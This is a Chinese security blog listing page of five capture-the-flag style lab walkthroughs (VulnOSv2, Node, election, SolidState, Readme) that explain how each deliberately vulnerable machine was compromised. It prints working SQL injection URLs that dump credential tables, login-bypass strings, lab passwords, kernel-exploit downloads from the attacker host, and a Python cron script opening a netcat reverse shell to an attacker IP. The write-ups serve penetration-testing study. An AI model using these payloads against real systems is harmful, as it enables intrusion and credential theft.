首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,877 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
43
篇与
的结果
2025-05-18
Blender软件的信息泄露---VulnOSv2
【oscp】Blender软件的信息泄露---VulnOSv2端口扫描80探测访问前端页面全端口扫描,有一个6667端口(一款多平台上可使用的IRC守护程序)wappalyzer信息收集使用dirb进行目录扫描都没有结果了,点击页面上的那个website,会跳转到这个页面这里要看仔细一点,这里字体是黑色的,有一个页面路径/jabcd0cs,和用户密码guest/guest去访问这个目录前可以直接使用这个用户登录一下ssh,很明显登录失败访问并登录登录成功这里有一个文件上传(add document)尝试上传shell.php(一句话木马),但是我们并不知道上传的目录在哪再次目录扫描,这次扫描需要加上这个隐藏的路径jabcd0cs这些方法都可以试试,还有一个执行文件的东西,找绝对路径,找到一句话木马的位置可惜都不行这时候就需要细心一点了searchsploit漏洞检索,找到一个漏洞有一个sql注入开始利用http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,user(),3,4,5,6,7,8,9暴库http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata # information_schema,drupal7,jabcd0cs,mysql,performance_schema,phpmyadmin暴表(jabcd0cs表)http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database() # odm_access_log,odm_admin,odm_category,odm_data,odm_department,odm_dept_perms,odm_dept_reviewer,odm_filetypes,odm_log,odm_odmsys,odm_rights,odm_settings,odm_udf,odm_user,odm_user_perms暴字段(jabcd0cs表),但是没有任何关于密码的字段http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() # file_id,user_id,timestamp,action,id,admin,id,name,id,category,owner,realname,created,description,comment,status,department,default_rights,publishable,reviewer,reviewer_comments,id,name,fid,dept_id,rights,dept_id,user_id,id,type,active,id,modified_on,modified_by,note,revision,id,sys_name,sys_value,RightId,Description,id,name,value,descripti这里有一个注意点,就是用字符串表名来查表的时候查不出来,payload如下:http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name=odm_user这里要把表的字符串换成16进制,6f646d5f75736572所以完整暴字段(带表)的payload是http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name=0x6f646d5f75736572 # id,username,password,department,phone,Email,last_name,first_name,pw_reset_code查密码http://192.168.111.194/jabcd0cs/ajax_udf.php ?q=1 &add_value=odm_user%20UNION%20SELECT%201, group_concat(username,password),3,4,5,6,7,8,9 from odm_user # webmin # b78aae356709f8c31118ea613980954b # webmin1980 # guest # 084e0343a0486ff05530df6c705c8bb4 # guest知道了账号密码,第一时间测试ssh连接,连接成功了内核信息收集内核漏洞检索(没有漏洞)历史命令,看到用户vulnosadmin的目录下面的文件,有很多hydra的文件运行一下使用make命令(Makefile 是一个文本文件,其中定义了如何构建程序所需的规则和步骤。)再查看进程信息,ps -aux,包含了postgres数据库将/usr/share/wordlists/metasploit/postgres_default_pass.txt和postgres_default_user.txt文件传到靶机上,进行密码爆破。爆破出 postgres/postgres登录postgres数据库psql -h localhost -U postgresl,注意,postgres数据库查询语句区分大小写vulnosadmin / c4nuh4ckm3tw1c3将此文件复制到网页根目录下面本机下载,打开这个网站,并上传上去,点击旁边的那个框,就可以看到密码了https://imagetostl.com/cn/view-blend-onlineTips:.blend 文件是 Blender 软件的专有文件格式,用于保存 3D 制作项目。第二种方法,内核提权,信息收集低版本的内核提权传到靶机上,编译,并运行,提权成功注意点在使用sql注入的时候如果不能正常的根据表名查找数据,那么可以将其转换为十六进制,例如http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name=0x6f646d5f75736572 # odm_userpostgres数据库的登录命令psql -h localhost -U postgrespostgres数据库的查询语句,是区分大小写的l :显示数据库c:切换连接的数据库往期推荐【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏HTB-Chemistry靶机渗透教程ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略开箱即用!265种windows渗透工具合集--灵兔宝盒
2025年05月18日
389 阅读
0 评论
0 点赞
2025-05-18
提权靶机Node
主机探测 && 80端口探测端口扫描,只开启了3000和22端口,看样子就是要让我们从3000这个端口找22登录的信息访问3000端口的网页向我们新成员问好,一共有三个用户tom,mark,rastating切换到登录界面,sql侏儒万能密码 / 弱口令tom' or 1=1 --+ tom' or 1=1 -- + tom' or 1=1 # tom" or 1=1 # tom" || 1=1 # tom' || 1=1 --+这里意思就是说,MyPlace这个项目的介绍,告诉我们,注册的入口已经关闭了,我们可以查看用户的资料查看用户资料,三个人都是一个信息User xxx are still not completed, check back later to learn more about mark!用户界面的sql注入cookie伪造,利用cookie伪造,可以绕过前端验证的cookie找到app.js,暴露了所有的路由信息,但是没啥用基本都访问过了我们看看接口信息有一个/api/users访问,信息泄露了[ {"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}, {"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false}, {"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false}, {"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false} ]识别一下吧,hash-identifier是一个hash值的识别工具https://www.cmd5.com/ 丢进去一个一个解密,只有第四个用户没有解出来myP14ceAdm1nAcc0uNT :manchestertom :spongebobmark :snowflake有了账号密码,还可以测试ssh连接,刚开始端口扫描的时候是有一个22端口ssh的管理员 myP14ceAdm1nAcc0uNT 成功页面不清楚这是什么文件嘞换一个用户 tom那么只能从管理员用户的那个backup文件下手了查看文件内容,疑似base64重定向到一个zip文件,解压的时候,提示我们输入密码,看样子这就是一个备份的zip文件利用fcrackzip使用kali自带的字典破解zip压缩包切换到目录下,看样子应该是网站的源码了版本信息,包含了express.js版本和mongodb版本查看app.js泄露了数据库的密码盲猜ssh密码和数据库密码一模一样,登录成功内核信息收集漏洞检索,发现几个可能的内核提权漏洞复制到当前目录 searchsploit -m 编号开启http服务下载命令检查wget 192.168.111.128:8000/44300.c wget 192.168.111.128:8000/44298.c wget 192.168.111.128:8000/40049.c wget 192.168.111.128:8000/40871.c将四个文件传到靶机上进行编译,一个一个尝试,编译失败也不要紧,就换一个exp,最后得到44298.c这个exp能提权成功本靶机主要是前端express.js编写的前端项目,项目打包的源码暴露了api接口的信息,通过访问此api接口,由于后端的过滤不严谨,造成的信息泄露,进而获取了目标的权限往期推荐【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【内网渗透】免工具,内网、域内信息收集的40种方式总结【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【渗透测试】Linux隐身登录
2025年05月18日
814 阅读
0 评论
0 点赞
2025-05-18
靶机-election
靶机地址:https://www.[vulnhub](https://so.csdn.net/so/search?q=vulnhub&spm=1001.2101.3001.7020).com/entry/election-1,503/DescriptionIt is an OSCP-like VM, Medium Level difficulty.主机探测 / 80探测全端口扫描,80和22端口开启目录扫描信息收集插件 wapplyzer扫出来的phpinforobots.txt文件,还有一个phpmyadmin,但是不存在弱口令,在本次靶机中没有任何作用election路径,其他三个都没有东西继续目录扫描有一个后台管理继续目录扫描密码泄露love: P@$$w0rd@123系统信息收集sudo和suid文件发现一个奇葩切换用户的文件,先放着继续信息收集,端口信息进程信息发现一个mysql,此时就可以去网站目录找配置文件,查看数据库密码信息数据库登录成功把全部的表都查一查可利用的信息 Zxc123!@#,切换用户yeslove也不行,所以这个数据没有任何用处,网页也登录不了来看这个文件找到一个应用的版本信息漏洞检索复制到当前目录,并开启一个卫星http服务首先判断是否存在wget命令,不存在的话可以使用curl -O没有权限是因为赋予执行权限,使用chmod添加一个可执行权限就好了,执行脚本就能提权成功本靶机主要是网页上的日志信息泄露,从而获取服务器普通用户权限,再根据机器上的应用程序版本的信息搜集,使用漏洞检索工具searchsploit,利用exp进行提权往期推荐【OSCP】sudo的上级目录提权,靶机SkyTower【OSCP】稀有靶机-Readme【OSCP】Hackme【OSCP】Tr0ll 靶机全系列(1-3),FTP被玩坏了【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏
2025年05月18日
1,394 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机SolidState
【oscp】SolidState,计划任务提权靶场地址:https://www.vulnhub.com/entry/solidstate-1,261/发布日期:2018年9月12日目标:得到root权限&找到flag.txt主机探测,端口扫描一些端口介绍:(22,80忽略)25 端口:SMTP服务,用于发送电子邮件的协议110 端口:pop3是用于接收电子邮件的协议119 端口:是用于传输和读取Usernet新闻组文章的协议。4445 端口:是 JAMES 邮件服务器的远程管理接口,允许管理员通过命令行或Web界面管理邮件服务器的配置,包括用户管理、域名管理、邮件箱管理等。访问网页目录扫描这里是需要用到一个命令,来连接邮件服务器,指定好端口4555,然后使用弱口令root / root 进行登录,再使用help查看命令帮助telnet 是一个用于远程登录和管理服务器的网络协议和命令行工具。它允许用户通过网络连接到远程主机,并在该主机上执行命令。telnet 通常使用端口 23 进行通信,但也可以指定其他端口。listusers 用于显示现有的账户信息,但是我们不知道密码信息,就无法登录pop3邮件服务器,查看电子邮件内容user: james user: thomas user: john user: mindy user: mAIladmin设置(重置)密码setpassword james 123 setpassword thomas 123 setpassword john 123 setpassword mindy 123 setpassword mAIladmin 123登录我们的pop3服务器,用户james的邮件信息同理其他用户都这样查看,下面是john的邮件内容下面是mindy用户的第二封邮件翻译一下看看,这个就是 mindy 用户的ssh密码了username: mindy pass: P@55W0rd1!2@ssh登录后,但是发现系统对这个用户做出了命令执行的一些限制当前目录下有一个user.txt,包含了一个hash值,使用hash-identifierhash识别工具,识别这个加密的类型,但是没有识别到尝试逃逸shell,其他详细的逃逸过程可以参考我这篇文章https://mp.weixin.qq.com/s/YS3lNhIE5V5kFlBLxS49xA这里的逃逸是要用到 pythonssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"信息收集uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替查看计划任务cat /etc/crontab查看文件权限为777的文件信息,不是root用户也能修改并执行文件,那如果这是个root用户设置的一个定时程序呢?查看py脚本内容看看nc 有没有-e参数,结果是有的nc 中的 -e 参数在 Netcat (nc) 中用于指定一个程序,使得 Netcat 在建立连接后执行该程序,并将 Netcat 的标准输入、输出和错误重定向到该程序。这个参数通常用于创建反向shell或监听shell。那么py脚本的内容就如下,来反弹shell#!/usr/bin/env python import os import sys try: os.system('nc 192.168.209.130 6666 -e /bin/bash') except: sys.exit()注意:如果重定向了,过了一会儿没有反弹成功,要么重新连接一次,就像这样这下就能反弹成功了,找到root.txt文件如果直接执行py文件的话,是以当前用户执行的,例如可以看到当前用户为 mindy往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
875 阅读
0 评论
0 点赞
2025-05-18
稀有靶机-Readme
这个靶机网上的演示很少很少,唯一一篇csdn文章也没有写详细,就是第二个用户的密码是靠汇编的知识获取到的,而他就直接写了个密码,怎么获取的都没写出来,https://blog.csdn.net/2301_79316009/article/details/140642836这个问题很大,希望原作者能修改修改我这里提到了,唯一盲点就是fixed.nasm的编写,很懵,回头一定恶补靶机链接:https://www.vulnhub.com/entry/readme-1,336/主机发现80探测访问网页端口扫描的mysql服务拒绝连接,说明没有开启远程连接目录扫描php版本reminder.php,这里有一个人名 Julian,告诉我们有一个txt文件Also, can you fix this search box? Sometimes it chucks errors depending on what I enter... I'd do it myself, but I've been busy trying to create some code to enable us to securely store our passwords, seeing as you keep forgetting yours... The encoder seems completely borked though. 大致意思就是,这个输入框会报一些错误,让你修复测一测sql注入,sql语法错误,存在sql注入漏洞,但是没有回显啊,放弃了sqlmap结果看另外一个文件,有一个adminermysql服务失效使用内网地址,不允许连接到mysql服务器返回有一个图片的地方,源码泄露了一个路径访问路径文件内容ssh用户julian密码爆破的结果漏洞检索,也没有结果连接靶机的mysql不行,那么连接你攻击机的mysql呢?将你得mysql服务器(kali)开启远程连接,将这一行注释掉vim /etc/mysql/mariadb.conf.d/50-server.cnf重启mysqlsudo service mysql restart设置mysql密码,并登录sudo mysqladmin -u root password 'root' mysql -u root -h 192.168.111.128 -p # 输入你得密码创建登录数据库,新加一个数据create database test; # 创建一个test数据库 use test # 切换到test数据库 create table demo(id int,name text); # 创建一个普通的表 insert into demo values(1,'demofefhkhakfh'); # 添加任意数据 select * from demo; +------+----------------+ | id | name | +------+----------------+ | 1 | demofefhkhakfh | +------+----------------+ 1 row in set (0.000 sec)这里我们就能进行远程连接了连接成功这里再结合之前暴露出来的路径信息执行如下命令load data local infile "/etc/julian.txt" into table demo;为空,检查一下原因设置一下local_infileSET GLOBAL local_infile = true; SHOW GLOBAL VARIABLES LIKE 'local_infile';检查secure_file_privSHOW GLOBAL VARIABLES LIKE 'secure_file_priv';这些都没问题,就是sql语句错了,可以看看这篇老外写的文章https://rastating.github.io/readme-walkthrough/正确的sql语句因该如下才对(和原来的对比就是少了个字段)# 原失败的sql语句 load data local infile "/etc/julian.txt" into table demo; # 成功的sql语句,这里设置了一个终止符,并且添加了一个指定字段的分隔符 load data local infile '/etc/julian.txt' into table test.demo fields terminated by "n";同理,包含/etc/passwd,也可以成功sql语句如下load data local infile '/etc/passwd' into table test.demo fields terminated by "n";但是包含了passwd文件,并没有julian这个用户,可能显示上限了吧,用密码登录一下,和上面对比,验证了我们刚刚的结论I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh漏洞利用原理自行查看,这篇文章写的不错:https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Adminer/Adminer%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/登录成功后,信息收集识别hash类型,是MD5sudo再切换用户的目录,有一个poc.c,编译一下开启了http服务,看样子有防火墙继续信息收集端口和进程信息suid文件历史命令那还能咋办嘞,c的源码是有的,我们可以直接将c的源码复制到kali进行编译就行,先分析一下源码吧,基本的信息收集已经没有什么可以利用的了,这里需要将这个 poc 编译,还有那个 payload.bin来获取密码 payload.bin:一个包含了 shellcode, 和 tatham用户的密码信息 poc.c :一个需要放置shellcode并运行他的文件 #include <stdio.h> #include <string.h> int main(void) { unsigned char code[] = ""; void (*s)() = (void *)code; s(); return 0; }在kali中报了如下错误依次执行如下命令即可dpkg --add-architecture i386 apt-get update apt-get install libc6-dev-i386编译成功这里又要用到反汇编了,完整的poc.c如下这里要用到gdb调试工具自动解码还有手动解码,两种方法,计算shellcode的原始十六进制字节,然后生成一个fixed.nasm有效载荷,这个文件的内容如下,这个文件的编写(这个文件内容如何编写的,这就涉及到知识盲区了,太菜了,不会逆向),可以参考如下文章,关于这个靶机,网上的资料太少太少了https://rastating.github.io/readme-walkthrough/global _start section .text _start: ; set the frame pointer mov ebp, esp ; clear required registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ; push encoded password onto stack push 0x7f7f1312 push 0x157b2f22 push 0x13247312 push 0x087b0423 push 0x73287022 push 0x30280912 push 0x3b162f20 push 0x360e1919 push 0x157b0913 push 0x757b0960 push 0x70167510 push 0x2d162f25 push 0x73241923 push 0x09167527 push 0x1a772b0c push 0x37787217 ; calculate size of password and store in $ecx lea ecx, [ebp] sub ecx, esp ; begin xor on the encoded password decode_loop: ; if at dword 12, xor with F lea edx, [0x14] cmp ecx, edx jz xor_f ; if at dword 11, xor with E lea edx, [0x18] cmp ecx, edx jz xor_e ; if at dword 10, xor with E lea edx, [0x1c] cmp ecx, edx jz xor_e ; if at dword 9, xor with B lea edx, [0x20] cmp ecx, edx jz xor_b ; if at dword 8, xor with D lea edx, [0x24] cmp ecx, edx jz xor_d ; if at dword 7, xor with 4 lea edx, [0x28] cmp ecx, edx jz xor_4 ; if at dword 6, xor with E lea edx, [0x2c] cmp ecx, edx jz xor_e ; if at dword 3, xor with D lea edx, [0x38] cmp ecx, edx jz xor_d ; if at none of the unique indexes ; xor with A. jmp xor_a short_loop_jmp: jmp decode_loop xor_f: lea ebx, [0x41414146] jmp xor_eof xor_e: lea ebx, [0x41414145] jmp xor_eof xor_b: lea ebx, [0x41414142] jmp xor_eof xor_d: lea ebx, [0x41414144] jmp xor_eof xor_4: lea ebx, [0x41414134] jmp xor_eof xor_a: lea ebx, [0x41414141] jmp xor_eof xor_eof: lea eax, [ebp] sub eax, ecx xor [eax], ebx sub dword [eax], 0x01010101 sub ecx, 0x4 xor eax, eax cmp ecx, eax jnz short_loop_jmp int3 int3 int3 int3依次执行,会生成一个a.out文件,该文件是修复后的可执行文件,我们使用gdb运行它启动此文件就好了,并查看这个xor_eof()函数反汇编信息查看寄存器状态,并使用格式说明符(查看内存的内容,并且提供了不同的格式和选项来指定如何显示这些内容)基本用法如下x/<n><f> <address> n 是要显示的单元数量(可选),表示要查看多少个内存单元。 f 是格式说明符,可以用来指定数据类型或格式。 <address> 是你想要查看的内存地址。 格式说明符在 x/ 命令中使用的格式说明符可以包括: b:以字节(byte)为单位显示。 h:以半字(short)为单位显示,通常为 2 字节。 w:以单字(word)为单位显示,通常为 4 字节(在某些平台上可能不同)。 g:以双字(double word)为单位显示,通常为 8 字节。 s:以字符串的形式显示,通常以 null 结尾。 f:以浮点数格式显示(比如 float 或 double)。 i:以指令的格式显示,适用于机器指令。 例子 查看从某个地址开始的 10 个字节:x/10b 0x08048000 查看从某个地址开始的 5 个整型(常用 4 字节)值:x/5w 0x08048000 以字符串形式查看从某个地址开始的内容:x/s 0x08048000 查看机器指令i,和s一个一个试试,会找到一个base编码我们解码看看,这不就是我们要的密码嘛密码:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE往期推荐【oscp】Blender软件的信息泄露---VulnOSv2【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【kali笔记】shodan常见的20种基本使用方法,信息收集必备
2025年05月18日
1,186 阅读
0 评论
0 点赞
1
...
5
6
7
...
9